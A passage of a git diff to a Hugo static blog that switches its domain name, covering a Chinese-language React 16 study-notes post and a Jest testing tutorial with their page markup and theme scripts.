children={markdown}/\u0026gt;\r","keywords":["React"],"articleBody":"react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16\nrender返回类型\n除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）\n例如：\nrender(){\rreturn[\rhallo,\rword\r]\r}\r或者\nrender(){\rreturn \"hallo word\"\r}\r错误处理\nreact16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃\n当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：\ncomponentDidCatch(error, info){\rconsole.log(error,info)\r}\rPortals\nReact16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框\nReactDOM.createPortal(child, container)\n第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上\n自定义DOM属性\n在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素\nReact AJAX（搭配jQuery）\n通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求\nVirtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现\n对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM\nVirtual-DOM的优势：减少操作DOM，处理视图和状态的关系\n没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了\nreact-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量\n安装react-markdown\nyarn add react-markdown\n导入\nimport ReactMarkdown from ‘react-markdown’\n测试\nlet markdown =\r\"**这是加粗的文字**\\n\\n\" +\r\"*这是倾斜的文字*`\\n\\n\" +\r\"***这是斜体加粗的文字***\\n\\n\" +\r\"~~这是加删除线的文字~~ \\n\\n\" +\r\"`console.log(111)` \\n\\n\" +\r\"``` var a=11; ```\";\r","wordCount":"71","inLanguage":"en","datePublished":"2021-09-03T12:00:00Z","dateModified":"2021-09-03T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/94/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>React进阶学习笔记</h1><div class=post-meta><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/React%e8%bf%9b%e9%98%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16</p><p>render返回类型</p><p>除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）</p><p>例如：</p><pre><code>render(){
-    return[
-        &lt;div&gt;hallo&lt;/div&gt;,
-        &lt;div&gt;word&lt;/div&gt;
-    ]
-}
-</code></pre><p>或者</p><pre><code>render(){
-    return &quot;hallo word&quot;
-}
-</code></pre><p>错误处理</p><p>react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃</p><p>当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：</p><pre><code>componentDidCatch(error, info){
-    console.log(error,info)
-}
-</code></pre><p>Portals</p><p>React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框</p><p>ReactDOM.createPortal(child, container)</p><p>第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上</p><p>自定义DOM属性</p><p>在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素</p><hr><p>React AJAX（搭配jQuery）</p><p>通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求</p><hr><p>Virtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现</p><p>对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM</p><p>Virtual-DOM的优势：减少操作DOM，处理视图和状态的关系</p><p>没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了</p><hr><p>react-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量</p><p>安装react-markdown</p><p>yarn add react-markdown</p><p>导入</p><p>import ReactMarkdown from &lsquo;react-markdown&rsquo;</p><p>测试</p><pre><code>let markdown =
-    &quot;**这是加粗的文字**\n\n&quot; +
-    &quot;*这是倾斜的文字*`\n\n&quot; +
-    &quot;***这是斜体加粗的文字***\n\n&quot; +
-    &quot;~~这是加删除线的文字~~ \n\n&quot; +
-    &quot;`console.log(111)` \n\n&quot; +
-    &quot;``` var a=11; ```&quot;;
-
-&lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&gt;
-</code></pre><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/react/>React</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/95/><span class=title>« Prev</span><br><span>简单使用Jest-JavaScript测试工具</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/92/><span class=title>Next »</span><br><span>Taro框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+let markdown = &#34;**这是加粗的文字**\n\n&#34; + &#34;*这是倾斜的文字*`\n\n&#34; + &#34;***这是斜体加粗的文字***\n\n&#34; + &#34;~~这是加删除线的文字~~ \n\n&#34; + &#34;`console.log(111)` \n\n&#34; + &#34;``` var a=11; ```&#34;; <ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/> "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"React进阶学习笔记","item":"https://chenjunlinabc.github.io/posts/94/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"React进阶学习笔记","name":"React进阶学习笔记","description":"react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16\nrender返回类型\n除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）\n例如：\nrender(){ return[ \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;, \u0026lt;div\u0026gt;word\u0026lt;/div\u0026gt; ] } 或者\nrender(){ return \u0026quot;hallo word\u0026quot; } 错误处理\nreact16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃\n当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：\ncomponentDidCatch(error, info){ console.log(error,info) } Portals\nReact16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框\nReactDOM.createPortal(child, container)\n第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上\n自定义DOM属性\n在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素\nReact AJAX（搭配jQuery）\n通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求\nVirtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现\n对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM\nVirtual-DOM的优势：减少操作DOM，处理视图和状态的关系\n没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了\nreact-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量\n安装react-markdown\nyarn add react-markdown\n导入\nimport ReactMarkdown from \u0026lsquo;react-markdown\u0026rsquo;\n测试\nlet markdown = \u0026quot;**这是加粗的文字**\\n\\n\u0026quot; + \u0026quot;*这是倾斜的文字*`\\n\\n\u0026quot; + \u0026quot;***这是斜体加粗的文字***\\n\\n\u0026quot; + \u0026quot;~~这是加删除线的文字~~ \\n\\n\u0026quot; + \u0026quot;`console.log(111)` \\n\\n\u0026quot; + \u0026quot;``` var a=11; ```\u0026quot;; \u0026lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/\u0026gt; ","keywords":["React"],"articleBody":"react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16\nrender返回类型\n除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）\n例如：\nrender(){ return[ hallo, word ] } 或者\nrender(){ return \"hallo word\" } 错误处理\nreact16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃\n当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：\ncomponentDidCatch(error, info){ console.log(error,info) } Portals\nReact16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框\nReactDOM.createPortal(child, container)\n第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上\n自定义DOM属性\n在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素\nReact AJAX（搭配jQuery）\n通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求\nVirtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现\n对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM\nVirtual-DOM的优势：减少操作DOM，处理视图和状态的关系\n没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了\nreact-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量\n安装react-markdown\nyarn add react-markdown\n导入\nimport ReactMarkdown from ‘react-markdown’\n测试\nlet markdown = \"**这是加粗的文字**\\n\\n\" + \"*这是倾斜的文字*`\\n\\n\" + \"***这是斜体加粗的文字***\\n\\n\" + \"~~这是加删除线的文字~~ \\n\\n\" + \"`console.log(111)` \\n\\n\" + \"``` var a=11; ```\"; ","wordCount":"71","inLanguage":"en","datePublished":"2021-09-03T12:00:00Z","dateModified":"2021-09-03T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/94/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>React进阶学习笔记</h1><div class=post-meta><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/React%e8%bf%9b%e9%98%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16</p><p>render返回类型</p><p>除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）</p><p>例如：</p><pre><code>render(){
+    return[
+        &lt;div&gt;hallo&lt;/div&gt;,
+        &lt;div&gt;word&lt;/div&gt;
+    ]
+}
+</code></pre><p>或者</p><pre><code>render(){
+    return &quot;hallo word&quot;
+}
+</code></pre><p>错误处理</p><p>react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃</p><p>当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：</p><pre><code>componentDidCatch(error, info){
+    console.log(error,info)
+}
+</code></pre><p>Portals</p><p>React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框</p><p>ReactDOM.createPortal(child, container)</p><p>第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上</p><p>自定义DOM属性</p><p>在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素</p><hr><p>React AJAX（搭配jQuery）</p><p>通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求</p><hr><p>Virtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现</p><p>对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM</p><p>Virtual-DOM的优势：减少操作DOM，处理视图和状态的关系</p><p>没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了</p><hr><p>react-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量</p><p>安装react-markdown</p><p>yarn add react-markdown</p><p>导入</p><p>import ReactMarkdown from &lsquo;react-markdown&rsquo;</p><p>测试</p><pre><code>let markdown =
+    &quot;**这是加粗的文字**\n\n&quot; +
+    &quot;*这是倾斜的文字*`\n\n&quot; +
+    &quot;***这是斜体加粗的文字***\n\n&quot; +
+    &quot;~~这是加删除线的文字~~ \n\n&quot; +
+    &quot;`console.log(111)` \n\n&quot; +
+    &quot;``` var a=11; ```&quot;;
+
+&lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&gt;
+</code></pre><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/react/>React</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/95/><span class=title>« Prev</span><br><span>简单使用Jest-JavaScript测试工具</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/92/><span class=title>Next »</span><br><span>Taro框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/95/index.html b/posts/95/index.html
index dbe5710f..b6282a42 100644
--- a/posts/95/index.html
+++ b/posts/95/index.html
@@ -5,9 +5,9 @@
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
return &#34;hello world&#34;
}
hello.test.js
-const hello = require('../hello')
it('should ', () => {
expect(hello()).toBe('hello world')
})
package.json
-{
&#34;scripts&#34;: {
&#34;test&#34;: &#34;jest&#34;
}
}
执行测试
+module.exports = function(){ return &#34;hello world&#34; } hello.test.js
+const hello = require('../hello') it('should ', () => { expect(hello()).toBe('hello world') }) package.json
+{ &#34;scripts&#34;: { &#34;test&#34;: &#34;jest&#34; } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -19,17 +19,17 @@
 toBeFalsy() //判断结果为false
 toBeGreaterThan(5) //判断结果是否大于5
 toBeLessThan(5) //判断结果是否小于5
-toBeGreaterThanOrEqual(6) //判断结果是否大于等于6"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/95/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Jest-JavaScript测试工具"><meta property="og:description" content="Jest是Facebook开源的一套JavaScript测试框架
+toBeGreaterThanOrEqual(6) //判断结果是否大于等于6"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/95/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Jest-JavaScript测试工具"><meta property="og:description" content="Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
 yarn add &ndash;dev jest或者npm install &ndash;save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
return &#34;hello world&#34;
}
hello.test.js
-const hello = require('../hello')
it('should ', () => {
expect(hello()).toBe('hello world')
})
package.json
-{
&#34;scripts&#34;: {
&#34;test&#34;: &#34;jest&#34;
}
}
执行测试
+module.exports = function(){ return &#34;hello world&#34; } hello.test.js
+const hello = require('../hello') it('should ', () => { expect(hello()).toBe('hello world') }) package.json
+{ &#34;scripts&#34;: { &#34;test&#34;: &#34;jest&#34; } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -41,16 +41,16 @@
 toBeFalsy() //判断结果为false
 toBeGreaterThan(5) //判断结果是否大于5
 toBeLessThan(5) //判断结果是否小于5
-toBeGreaterThanOrEqual(6) //判断结果是否大于等于6"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/95/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-06T23:00:00+00:00"><meta property="article:modified_time" content="2021-09-06T23:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Jest-JavaScript测试工具"><meta name=twitter:description content="Jest是Facebook开源的一套JavaScript测试框架
+toBeGreaterThanOrEqual(6) //判断结果是否大于等于6"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/95/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-06T23:00:00+00:00"><meta property="article:modified_time" content="2021-09-06T23:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Jest-JavaScript测试工具"><meta name=twitter:description content="Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
 yarn add &ndash;dev jest或者npm install &ndash;save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
return &#34;hello world&#34;
}
hello.test.js
-const hello = require('../hello')
it('should ', () => {
expect(hello()).toBe('hello world')
})
package.json
-{
&#34;scripts&#34;: {
&#34;test&#34;: &#34;jest&#34;
}
}
执行测试
+module.exports = function(){ return &#34;hello world&#34; } hello.test.js
